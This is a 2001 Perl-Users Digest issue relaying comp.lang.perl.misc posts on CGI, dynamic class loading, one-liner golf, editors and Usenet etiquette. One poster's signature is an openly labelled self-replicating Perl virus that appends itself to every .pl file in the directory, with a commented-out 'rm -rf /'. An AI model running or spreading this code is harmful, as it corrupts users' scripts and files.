[18626] in Perl-Users-Digest
Perl-Users Digest, Issue: 794 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sun Apr 29 14:05:50 2001
Date: Sun, 29 Apr 2001 11:05:10 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988567510-v10-i794@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Sun, 29 Apr 2001 Volume: 10 Number: 794
Today's topics:
ANNOUNCE: moodss-14.2 <jfontain@free.fr>
Re: Apologies <gtoomey@usa.net>
catching termination of cgi from browser? <jkit@cipsinc.com>
Re: catching termination of cgi from browser? <gtoomey@usa.net>
Re: catching termination of cgi from browser? nobull@mail.com
Re: Compile Check On Procedurenames nobull@mail.com
Re: dynamic creation of classes? nobull@mail.com
Re: dynamic creation of classes? (Rudolf Polzer)
Re: dynamic creation of classes? (Rudolf Polzer)
Re: easy newbie Question <gellyfish@gellyfish.com>
Error while doing perl -MCPAN -e shell <bennyc@magix.com.sg>
Re: Finding all elements in an array matching a certian nobull@mail.com
Re: golf? unknown uid/gid detection (Abigail)
Re: golf? unknown uid/gid detection (Martien Verbruggen)
Re: golf? unknown uid/gid detection (Tad McClellan)
Re: Good editor for perl <lamecow78@hotmail.com>
Re: help me "window.screen" <gtoomey@usa.net>
Re: help me <gtoomey@usa.net>
Re: How to down size /usr/bin/perl ? (Mark Jason Dominus)
Re: https module <lamecow78@hotmail.com>
Re: Installing modules on my server <numberwhun@nospam.com>
Jeopardy (was Re: First and last element in list loop) <joe+usenet@sunstarsys.com>
Re: modulo division <gellyfish@gellyfish.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Sun, 29 Apr 2001 15:10:56 GMT
From: Jean-Luc Fontaine <jfontain@free.fr>
Subject: ANNOUNCE: moodss-14.2
Message-Id: <3AEC2EE3.2B9221EB@free.fr>
Hi everybody: here is a new version of moodss.
Check it out! (or at least the screenshots at
http://jfontain.free.fr/moodss3.gif or
http://jfontain.free.fr/moodss4.gif :).
### CHANGES ###
--- version 14.2 ---
made thresholds table a drop zone for data cells
MySQL myvars module updated to support 3.23.37 server
in thresholds table, implemented tabbing between cells
in save files, data tables column widths are now saved only if module
specifies resizable columns
module programmers: added resizableColumns optional boolean in module
configuration data
successfully built and tested on a Linux Redhat 7.1 i386 machine
### README ###
This is moodss (Modular Object Oriented Dynamic SpreadSheet) version
14.2.
Moodss won in the Best System Admin Technology category (Tcl Tips and
Tricks, Valuable Real World Programming Examples) at the O'Reilly
Tcl/Tk 1999 Conference.
Linux Magazine calls it a "lifesaver".
Tucows gives it 5 stars (cows or penguins :-).
Moodss is a modular application. It displays data described and
updated in one or more modules, which can be specified in the command
line or dynamically loaded or unloaded while the application is
running. Data is originally displayed in tables. Graphical views
(graph, bar, 3D pie charts, ...), summary tables (with current,
average, minimum and maximum values) and free text viewers can be
created from any number of table cells, originating from any of the
displayed viewers. Thresholds can be set on any number of cells.
Specific modules can easily be developed in the Tcl, Perl and Python
scripting languages or in C.
A thorough and intuitive drag'n'drop scheme is used for most viewer
editing tasks: creation, modification, type mutation, destruction,
... and thresholds creation. Table rows can be sorted in increasing or
decreasing order by clicking on column titles. The current
configuration (modules, tables and viewers geometry, ...) can be saved
in a file at any time, and later reused through a command line switch,
thus achieving a dashboard functionality.
The module code is the link between the moodss core and the data to be
displayed. All the specific code is kept in the module package. Since
module data access is entirely customizable (through C code, Tcl,
Perl, Python, HTTP, ...) and since several modules can be loaded at
once, applications for moodss become limitless.
For example, thoroughly monitor a dynamic web server on a single
dashboard with graphs, using the Apache, MySQL, cpustats, memstats,
... modules. If you have replicated servers, dynamically add them to
your view, even load the snmp module on the fly and let your
imagination take over...
Along with a core trace module, random, ps, cpustats, memstats,
diskstats, mounts, route, arp, kernmods, netdev, pci, system, MySQL
(myquery, mystatus, myprocs, myvars) modules for Linux, ping, snmp and
snmptrap for UNIX, apache and apachex modules are included (running
"wish moodss ps cpustats memstats" mimics the "top" application with a
graphic edge and remote monitoring capability).
Thorough help is provided through menus, widget tips, a message area,
a module help window and a global help window with a complete HTML
documentation.
Moodss is multi-langual thanks to Tcl internationalization
capabilities. So far only English and partially French are
supported. Help with other languages will be very warmly welcomed.
Development of moodss is continuing and as more features are added in
future versions, backward module code compatibility will be maintained.
I cannot thank the authors of the tkTable, BLT, MIME/SMTP and the HTML
libraries enough for their great work.
In order to run moodss, you need to install the following packages
(unless you can use the rpm utility, see below):
Tcl/Tk 8.3.1 or above, at (or at a mirror near you)
http://dev.scriptics.com/ or ftp://ftp.scriptics.com/
the latest tkTable widget library at:
http://www.hobbs.wservice.com/tcl/main.html
the latest BLT library at:
ftp://tcltk.sourceforge.net/pub/tcltk/blt/
eventually the latest tclperl library for writing modules in Perl, or
the latest tclpython library for writing modules in Python at:
http://jfontain.free.fr/
(see the INSTALL file for complete instructions, for UNIX and also
Windows platforms).
You also have the option of using the moodss rpm file (also in my
homepage), if you are using a Redhat Linux system (6.0 or above).
You can find the required tcl, tk, tktable, blt, tcpperl and other
rpms at: http://jfontain.free.fr/
Whether you like it (or hate it), please let me know. I would like to
hear about bugs and improvements you would like to see. I will correct
the bugs quickly, especially if you send me a test script (module code
with a data trace would be best).
###
you may find it now at my homepage:
http://jfontain.free.fr/moodss-14.2.tar.bz2
http://jfontain.free.fr/moodss-14.2-1.i386.rpm
http://jfontain.free.fr/moodss-14.2-1.spec
and a bit later at:
ftp://contrib.redhat.com/ in libc6 sub-directory.
Enjoy and please let me know what you think.
--
Jean-Luc Fontaine mailto:jfontain@free.fr http://jfontain.free.fr/
------------------------------
Date: Sun, 29 Apr 2001 23:21:16 +1000
From: "Gregory Toomey" <gtoomey@usa.net>
Subject: Re: Apologies
Message-Id: <XlUG6.14043$482.71998@newsfeeds.bigpond.com>
"Paul the Nomad" <taka@yarn.demon.co.uk> wrote in message
news:87lmojluxy.fsf@euterpe.yarn.demon.co.uk...
>
...
Don't worry. I judge the success of my aus.politics postings by the number
of people who say they'll put me in their kill file!!
gtoomey
------------------------------
Date: Sun, 29 Apr 2001 09:55:35 -0400
From: jkit <jkit@cipsinc.com>
Subject: catching termination of cgi from browser?
Message-Id: <3AEC1D57.D2C4E206@cipsinc.com>
How does one catch a termination of a perl cgi if the user clicks on
stop, goes to another page or browser dies?
Thanks
John
------------------------------
Date: Mon, 30 Apr 2001 00:19:32 +1000
From: "Gregory Toomey" <gtoomey@usa.net>
Subject: Re: catching termination of cgi from browser?
Message-Id: <zcVG6.14067$482.72345@newsfeeds.bigpond.com>
My cgi's take about 0.1 sec to execute, and generate several thousands of
bytes of data.
If yours are taking longer than a second you should have a look at your code
design.
You cannot send Perl a sigterm from a browser. Any lost data goes to the bit
bucket.
gtoomey
----------
"jkit" <jkit@cipsinc.com> wrote in message
news:3AEC1D57.D2C4E206@cipsinc.com...
> How does one catch a termination of a perl cgi if the user clicks on
> stop, goes to another page or browser dies?
>
> Thanks
>
> John
>
------------------------------
Date: 29 Apr 2001 16:08:31 +0100
From: nobull@mail.com
Subject: Re: catching termination of cgi from browser?
Message-Id: <u966fn921c.fsf@wcl-l.bham.ac.uk>
jkit <jkit@cipsinc.com> writes:
> How does one catch a termination of a perl cgi if the user clicks on
> stop, goes to another page or browser dies?
What mechanism does a server use to tell a CGI process that the client
has terminated the connection?
If you do not know the answer and the above was, in fact, the
question you were asking then you are in the wrong newsgroup as the
above question clearly has no connection with Perl.
The most obvious thing to do would be for the server simply to close
the reading end of the pipe from the CGI process. This means that
print() oppertaions to STDOUT will return false with $! set to
Errno:::EPIPE. If you'd got SIGPIPE enabled you'll get one of those
too.
A quick and non-exhastive experiment indiacates that Apache does not
do this, at least not by default in the version I'm using. Maybe it
can be configured to do so, maybe other HTTP servers do but this has
nothign to do with Perl.
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: 29 Apr 2001 16:39:34 +0100
From: nobull@mail.com
Subject: Re: Compile Check On Procedurenames
Message-Id: <u93dar90ll.fsf@wcl-l.bham.ac.uk>
alexf@slice.uni-koblenz.de (Alexander Fuchs) writes: > is there a way
to secure during compiling that any function called > in the program
is defined?
No. And even if I assume you meant 'declared' not 'defined' the
answer is still no.
I think this is a pitty. I would like to see new lexically scoped
stricture (use strict 'prototypes') that would allow me to state that
any function call without an explicit '&' should throw a compilation
error if the function is not declared.
Incidently IMNSHO this pragma would also have to prevent...
foo Bar (1);
..being read as...
Bar->foo(1);
> All functions I want to use are already defined at compile time,
> modules are imported with use and I just want to avoid those
> annoying spelling mistakes that terminate the program with an error
> message like
Of course as more and more modules adopt an OO interface this becomes
less useful
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: 29 Apr 2001 13:52:39 +0100
From: nobull@mail.com
Subject: Re: dynamic creation of classes?
Message-Id: <u98zkjswa0.fsf@wcl-l.bham.ac.uk>
anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) writes:
> According to <nobull@mail.com>:
> > anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) writes:
> >
> > > $class =~ s!::!/!g; $class .= '.pm';
> > > require $class;
> >
> > I used to recommend this myself, but then I head of .pmc files.
>
> What are those?
Dunno, something I saw one day when I was 'strace'ing a Perl program.
At a wild guess I'd say byte-code precompiled modules.
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: Sun, 29 Apr 2001 13:59:01 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: dynamic creation of classes?
Message-Id: <slrn9eo0g5.2al.eins@www42.t-offline.de>
F. Xavier Noria <fxn@isoco.com> wrote:
> On Sun, 29 Apr 2001 00:43:20 +0200, eins@durchnull.de (Rudolf Polzer) wrote:
>
> : This one seems to be reliable. I am thinking about releasing such a
> : module (may be Module::Autodetect) to the CPAN; there may be uses of
> : it.
>
> It would be nice!
>
> The origin of my question is a program I'm writing that has to
> manage some Monitors (every subclass of Monitor is specialized in
> something, like disks, or databases) but that has the monitors it
> actually has to manage specified in a config file where the name
> of the classes (DiskMonitor, DBMonitor) are given. Then, a common
> interface makes the management possible.
In my module: Detect::Module::Use 'DiskMonitor'; works. But there will
be no compile-time checking and prototyping. Accessing the module will
(not yet implemented) work by
my $module = Detect::Module::Load 'DiskMonitor';
# $module is blessed accessor
%{$module->HASH('myhash')} = ();
^^^^^^^^^^^^^^^^^^^^^^^ HASH ref
Function access can be done better (AUTOLOAD):
$module->do (19);
instead of
DiskMonitor::do (19).
I am just checking the exact AUTOLOAD semantics.
> Perhaps this is something DBI needs to do as well, I'm going to
> try to read its code.
I could send you the module before I am submitting it, of course you
can try it. But at the moment you can only get the 'new' constructor
of an OO module and the class name of the one really imported.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: Sun, 29 Apr 2001 15:40:49 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: dynamic creation of classes?
Message-Id: <slrn9eo6f1.k01.eins@www42.t-offline.de>
Rudolf Polzer <eins@durchnull.de> wrote:
> F. Xavier Noria <fxn@isoco.com> wrote:
> > On Sun, 29 Apr 2001 00:43:20 +0200, eins@durchnull.de (Rudolf Polzer) wrote:
> >
> > : This one seems to be reliable. I am thinking about releasing such a
> > : module (may be Module::Autodetect) to the CPAN; there may be uses of
> > : it.
> >
> > It would be nice!
> >
> > The origin of my question is a program I'm writing that has to
> > manage some Monitors (every subclass of Monitor is specialized in
> > something, like disks, or databases) but that has the monitors it
> > actually has to manage specified in a config file where the name
> > of the classes (DiskMonitor, DBMonitor) are given. Then, a common
> > interface makes the management possible.
>
> In my module: Detect::Module::Use 'DiskMonitor'; works. But there will
> be no compile-time checking and prototyping. Accessing the module will
> (not yet implemented) work by
>
> my $module = Detect::Module::Load 'DiskMonitor';
> # $module is blessed accessor
> %{$module->HASH('myhash')} = ();
> ^^^^^^^^^^^^^^^^^^^^^^^ HASH ref
I changed it to avoid collisions:
%{$module->(HASH => 'myhash')} = ();
The result is now a blessed CODE reference.
--
#!/usr/bin/perl -W -- WARNING: This will print 22,307 bytes! <strictsafe!>
use strict;for(my$y=-1;$y<1;$y+=.1){for(my$x=-1.9;$x<.4;$x+=.03){print'+';
my$X=my$Y=0;for(0..99){($X,$Y)=($X*$X-$Y*$Y+$x,2*$X*$Y+$y);print"\b "if$X*
$X+$Y*$Y>9;}}print"\n"};print''.reverse"\nHPAJ \a!rezloP .R yb torblednaM"
------------------------------
Date: 29 Apr 2001 13:13:45 GMT
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: easy newbie Question
Message-Id: <9ch429$4ge$2@plutonium.btinternet.com>
aDAM <adam.braa@portalplayer.com> wrote:
> im am learning perl and wonder if somone can answer these 2Q's for me.
>
> 1. when would you use a "\n" over a "\r"?
>
"\n" is a newline. "\r" is a carriage return. Perl will in generally do the
right thing for your platform if you use "\n" - it will always generate a
carriage return for "\r".
> 2. how would i make the following line appear on its own line?
> <print 'I a new line after this statement';>
Er.
print "\nI a new line after this statement\n";
/J\
--
Jonathan Stowe |
<http://www.gellyfish.com> | This space for rent
|
------------------------------
Date: 29 Apr 2001 16:11:21 GMT
From: Benny Chee <bennyc@magix.com.sg>
Subject: Error while doing perl -MCPAN -e shell
Message-Id: <20010430000000.A7862@magix.com.sg>
hi,
i encounter this error while doing perl -MCPAN -e shell:
# perl -MCPAN -e shell
Cannot do `ornaments' in Term::ReadLine::Gnu at /usr/local/lib/perl5/5.6.1/CPAN.pm line 101
Anybody knows what's this error msg is about?
--
I don't want Perl to be beautiful,
I want you to write beautiful programs in Perl.
--Larry Wall, Culture of Perl, August 1997
------------------------------
Date: 29 Apr 2001 13:46:51 +0100
From: nobull@mail.com
Subject: Re: Finding all elements in an array matching a certian criteria
Message-Id: <u9bspfswjo.fsf@wcl-l.bham.ac.uk>
John W Krahn <krahnj@acm.org> writes:
> nobull@mail.com wrote:
> >
> > John W Krahn <krahnj@acm.org> writes:
> >
> > > nobull@mail.com wrote:
> > > >
> > > > tadmc@augustmail.com (Tad McClellan) writes:
> > > >
> > > > > my @wanted = grep { /^$pattern/ } @allfiles;
> > > >
> > > > I think you meant:
> > > >
> > > > my @wanted = grep { /^($pattern)_/ } @allfiles;
> > >
> > > I think he meant:
> > >
> > > my @wanted = grep { /^${pattern}_/ } @allfiles;
> >
> > Why do you think that?
>
> I called the Psychic Friends Network and they told me he would post that
> exact line of Perl code at Fri, 27 Apr 2001 20:32:42 CDT.
That's ammazing, he actually posted it at Date: Fri, 27 Apr 2001
19:31:33 -0400 = 23:31:33 UCT.
IIRC CDT is -0500 so the Psychic Friends's prediction of Sat
01:32:42UCT was almost exactly 2 hours out on the time and bang on
with predicting Tad's mistake.
Wellcome to the twilight zone.
Or should I doubt the veracity of some of the timestamps arround here :-)
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: Sun, 29 Apr 2001 13:16:04 +0000 (UTC)
From: abigail@foad.org (Abigail)
Subject: Re: golf? unknown uid/gid detection
Message-Id: <slrn9eo50k.epf.abigail@tsathoggua.rlyeh.net>
Dave Murray-Rust (dave@mo-seph.com) wrote on MMDCCXCVIII September
MCMXCIII in <URL:news:slrn9eo256.mnh.dave@flop.localnet>:
""
"" A friend found his system to have many files on it with uid/gids which
"" were unknown - they appear in listings as a number. My challenge was
"" to write a one liner which could detect these files and print out the
"" filename as apropriate. Filenames adhere to unix naming conventions
"" (may include spaces and numbers), but I'm assuming there are no spaces
"" in the groupnames or usernames. The input is given as a single line
"" per file, with spaces between the fields, and the user and group as
"" the last two e.g.
""
"" filename with spaces and 1 digit 503 owner
""
"" Would be a file with an unknown group (3) and owned by owner which
"" _should_ print it's filename, and
""
"" filename with spaces and 1 digit group owner
""
"" should _not_ print it's filename.
""
"" The best I came up with was:
""
"" perl -ne '/^(.*) (\w+) (\w+)$/;print$1 if((grep /\D+/,($2,$3))!=2)'
Usernames can contain non-word characters. Try putting a '#' at the
beginning of a line in /etc/passwd on a Solaris system and see what
happens!
"" I had
"" perl -ane 'print if (grep /\D+/, @F[-2..-1])!=2;'
"" but this doesn't strip the user and group from the line.
What should happen if the group is known, and the user not?
Assuming you want to print those too, I suggest:
perl -nle 'print if s/ \d+ \S+$// || s/ \S+ \d+$//'
I guess you can combine the 2 regexes for a lower golf score.
"" Also, neither of these deal with newlines in filenames.
With the given format, that would be impossible to detect.
/home/abigail/foo 14 100
/home/abigail/bar 14 100
can be two filenames, or a single filename with a newline.
Abigail
--
#!/opt/perl/bin/perl -- # Remove trailing newline!
BEGIN{$SIG{__WARN__}=sub{$_=pop;y-_- -;print/".*(.)"/;
truncate$0,-1+-s$0;exec$0;}}//rekcaH_lreP_rehtona_tsuJ
------------------------------
Date: Sun, 29 Apr 2001 23:17:19 +1000
From: mgjv@tradingpost.com.au (Martien Verbruggen)
Subject: Re: golf? unknown uid/gid detection
Message-Id: <slrn9eo52v.os0.mgjv@martien.heliotrope.home>
On Sun, 29 Apr 2001 13:27:21 +0100,
Dave Murray-Rust <dave@mo-seph.com> wrote:
>
> perl -ne '/^(.*) (\w+) (\w+)$/;print$1 if((grep /\D+/,($2,$3))!=2)'
$ perl -nle 'print $1 if /(.*) \d+ \w+$/' input_file
You also might need to make sure to include a newline at the end of the
output in your example. Some system's stdio libraries do care about
that.
Martien
--
Martien Verbruggen |
Interactive Media Division | For heaven's sake, don't TRY to be
Commercial Dynamics Pty. Ltd. | cynical. It's perfectly easy to be
NSW, Australia | cynical.
------------------------------
Date: Sun, 29 Apr 2001 12:28:46 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: golf? unknown uid/gid detection
Message-Id: <slrn9eog9u.d32.tadmc@tadmc26.august.net>
Dave Murray-Rust <dave@mo-seph.com> wrote:
>The input is given as a single line
>per file,
>Also, neither of these deal with newlines in filenames.
Your specification seems to disallow newlines in any of the data.
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Sun, 29 Apr 2001 17:13:38 GMT
From: "Brian Richardson" <lamecow78@hotmail.com>
Subject: Re: Good editor for perl
Message-Id: <6ZXG6.66661$Zn4.719812@news1.rdc1.ab.home.com>
"Ciaran McCreesh" <keesh@users.pleaseremovethisbit.sourceforge.net> wrote in
message news:9cessd$4e5$1@news6.svr.pol.co.uk...
> In article <9c1csm$loh$1@news1.xs4all.nl>, "Super-Simon"
> <simon@super-simon.com> wrote:
> > I'm searching for a good, fast editor with syntax highlighting for perl
> > (CGI) for use under Windows 2000 / Windows 98 (I use windowz only for
> > editing scripts, scripts runs on Linux-server). It has to be free (I'm a
> > poor student ;-)
As previously mentioned, VIM is nice, and it's available for Windows.
I most prefer UltraEdit 32 on the Windoze platform. It's not *technically*
free. And I don't condone stealing software, except in the case of starving
students, and sometimes not even then. (Have I been mealy-mouthed enough
about that now?)
Hope you find something you like.
Brian
------------------------------
Date: Mon, 30 Apr 2001 01:03:45 +1000
From: "Gregory Toomey" <gtoomey@usa.net>
Subject: Re: help me "window.screen"
Message-Id: <0SVG6.14085$482.72213@newsfeeds.bigpond.com>
"Tony Curtis" <tony_curtis32@yahoo.com> wrote in message
news:873das63fl.fsf@limey.hpcc.uh.edu...
...
> Which newsgroup is this, hmm?
...
I think lots of people try here because of the quality of the responses ;-)
gtoomey
------------------------------
Date: Mon, 30 Apr 2001 01:01:54 +1000
From: "Gregory Toomey" <gtoomey@usa.net>
Subject: Re: help me
Message-Id: <iQVG6.14084$482.72120@newsfeeds.bigpond.com>
"Alan J. Flavell" <flavell@mail.cern.ch> wrote in message
news:Pine.LNX.4.30.0104281838160.30832-100000@lxplus003.cern.ch...
> On Sat, 28 Apr 2001, Gregory Toomey jeoparditically declaimed:
...
> > I always assume 720 pixels horizontally
>
> How bizarre! I always assume I don't know, and design on the basis
> that I don't need to know.
>
....
> ttfn
>
Well 800 x 600 pixels handles most basic monitors connected to windoze. So I
design the width of my graphics with this minimum monitor width in mind.
This conversation is getting very unPerl ;-)
gtoomey
------------------------------
Date: Sun, 29 Apr 2001 16:17:38 GMT
From: mjd@plover.com (Mark Jason Dominus)
Subject: Re: How to down size /usr/bin/perl ?
Message-Id: <3aec3ea0.6341$384@news.op.net>
In article <9ccr0o$nog$1@daggoo.cs.utexas.edu>,
Logan Shaw <logan@cs.utexas.edu> wrote:
>First, you've got to decide whether the C/C++/Perl/Java family of
>syntaxes is wonderful and the Algol/Pascal/Modula-2/Ada family is evil,
Your notion of programming language syntax seems impoverished.
C, C++, Perl, and Java *are* in the Algol family of syntax.
For counterexamples, see Prolog, Common Lisp, Cobol, Fortran, and Haskell.
--
@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{
@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord
($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&&
close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print
------------------------------
Date: Sun, 29 Apr 2001 16:57:44 GMT
From: "Brian Richardson" <lamecow78@hotmail.com>
Subject: Re: https module
Message-Id: <cKXG6.66654$Zn4.718551@news1.rdc1.ab.home.com>
"Paul Cotter" <prcotter@bellsouth.net> wrote in message
news:fQ%F6.1649$5B4.665630@news2.mia...
> "smilepak" <smilepak@hotmail.com> wrote in message
> news:BJID6.971$cM1.57429@newsread1.prod.itd.earthlink.net...
>
> > I need to access a secure http site to pull data on a daily basis. The
> site
> > request a username/password. Anyone know of a way I can get perl to do a
> > https call and passing a username/password when it request for it?
> >
> > I know perl has a "GET" function, however that doesn't work with secure
> http
> > server.
> >
[ snip ]
Ouch! That's a lot of code for a simple thing that could be done using
LWP::UserAgent;
Check the documentation on CPAN to double-check that it does what you need.
You may also need to look into LWP::SecureSockets and Net::SSLeay should you
in fact be dealing with a secure server.
HTH,
Brian
------------------------------
Date: Sun, 29 Apr 2001 17:14:16 GMT
From: Numberwhun <numberwhun@nospam.com>
Subject: Re: Installing modules on my server
Message-Id: <hsioetc5tihu9ubeq3k5r1288pt4f0huuv@4ax.com>
Just in case nobody told you, you may want to adjust your date on your
system. You seem to be slightly ahead of the rest of us.
Regards,
jlk
On Sun, 24 Jun 2001 00:16:18 +0100, "errol brown"
<errolbrown@hotmail.com> wrote:
--->Assuming you have root, you can use the CPAN.
--->
--->perldoc CPAN
--->
--->errol
--->
--->"Marcel Reuvekamp" <m.h.a.reuvekamp@student.utwente.nl> wrote in
message
--->news:9c25c8$3ed$1@dinkel.civ.utwente.nl...
--->> Hi all,
--->>
--->> I wrote myself a little script, which uses LWP::Simple. I've
tested it on
--->my
--->> own computer and it works fine. Now I want to upload it on my
server, but
--->> the module is not installed here. So I've tried to upload the
necessary
--->> files in the directory library and put in an extra line in my
script (as
--->> second line of the entire script):
--->> use lib qw(/library/lib /library/site/lib);
--->> Unfortunately, it still doesn't work. Does anyone have any tips
on how I
--->can
--->> solve this problem?
--->>
--->> Thanks.
--->>
--->>
--->
------------------------------
Date: 29 Apr 2001 12:08:22 -0400
From: Joe Schaefer <joe+usenet@sunstarsys.com>
Subject: Jeopardy (was Re: First and last element in list loop)
Message-Id: <m3itjnlmdl.fsf_-_@mumonkan.sunstarsys.com>
Presumably discussing people's criticisms here of "jeopardy-style"
posting, "Gregory Toomey" <gtoomey@usa.net> declares out-of-context:
> This issue abounds in comp.land.perl.misc and practiacllu nowhere else.
bullshit- try any lurking in *any* technical newsgroup that gets
comparable traffic to clp.misc and you will see people getting
"corrected" for upside-down posting. The use of the "jeopardy" term
in this regard might be a bit colloquial, but the anathema towards
usenet top-posting is prevalent.
Having seen a few people try to argue against the standard *usenet*
practice, the arguments basically boil down to
1) trimming the full text is unnecessary because
it is out of the way, being included at the bottom.
2) placing the new text at the top saves people the
trouble of rereading old material.
3) what I have to say has little or nothing to do with
the content of the post I'm following up to.
4) it is perfectly clear to *me* what *I* am talking about when
*I* post this way.
To be sure, some give more frivolous reasons (e.g. "my software
made me do it"), but I think these 4 are among the seemingly more
reasonable points made.
The problem with 1-2, in my view, is a lack of appreciation
of the difference between *email* and *usenet* communication. Einstein's
relativity, i.e. the fact that different observers can experience
different chronologies, applies heavily on usenet. For various
reasons, not the least of which would be newsserver delays and/or
aggressive scoring, people do *not* read a thread in the same order
*you* do.
Personally, when someone posts a question and I notice that
many people have replied to it, I may simply choose to read
select replies first. The reason is simple- often it is time-consuming
to wade through the original post to decipher what the core issue
is when other people appear to have already figured it out. Some
people do this so well that by reading their single reply, I can
learn both the core issue and a good answer rather than wade through
the whole thread. My scorefile contains a list of some of those
people so my newsreader can highlight their posts. None of them post
jeopardy-style.
Also, some posts (like this one) are very long and contain multiple
issues that you may wish to address, so even a careful read of the
original post might not make clear exactly which part you are
commenting on. Interleaving your comments is often a necessity, so
by following the conventions, nobody is confused if the issue you to
which you are responding comes before or after the text you have
added. And nobody is going to scroll to the bottom of an included
message only to find you have nothing else to say.
As for point 3: then don't follow up to that post. Find another one in
the thread that contains an issue you wish to directly address. If you
still can't find one, then either start a new thread or don't bother
posting it.
As for 4: usenet is a multinational broadcast medium. What's
stylistically clear to you ain't always so clear to others. Usenet
has accepted conventions to help minimize this confusion, but there's
little anyone can do to prevent some maverick personality from thinking
out-of-the-box and (re)inventing their own dialect of gibberish.
Finally, as has been pointed out many times, there appears to be
an inverse correlation between a post's relevance/accuracy and
its self-evident disregard for usenet conventions.
[...]
> ...
>
> The above is Abigail's text. I'm going to leave it untouched,
bullshit again- Abigail's text contained only two dots :-)
--
Joe Schaefer "His ignorance covered the whole earth like a blanket, and there
was hardly a hole in it anywhere."
--Mark Twain
------------------------------
Date: 29 Apr 2001 13:59:37 GMT
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: modulo division
Message-Id: <9ch6o9$4ge$4@plutonium.btinternet.com>
Miroslav Vrankic <Miroslav.Vrankic@fer.hr> wrote:
> How to to this in Perl:
> 7 % 2 = 3
> NOT
> 3.5
>
> What is the syntaks?
>
Er 7 % 2 is 1 .
I think you are looking for int(7/2) .
/J\
--
Jonathan Stowe |
<http://www.gellyfish.com> | This space for rent
|
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 794
**************************************
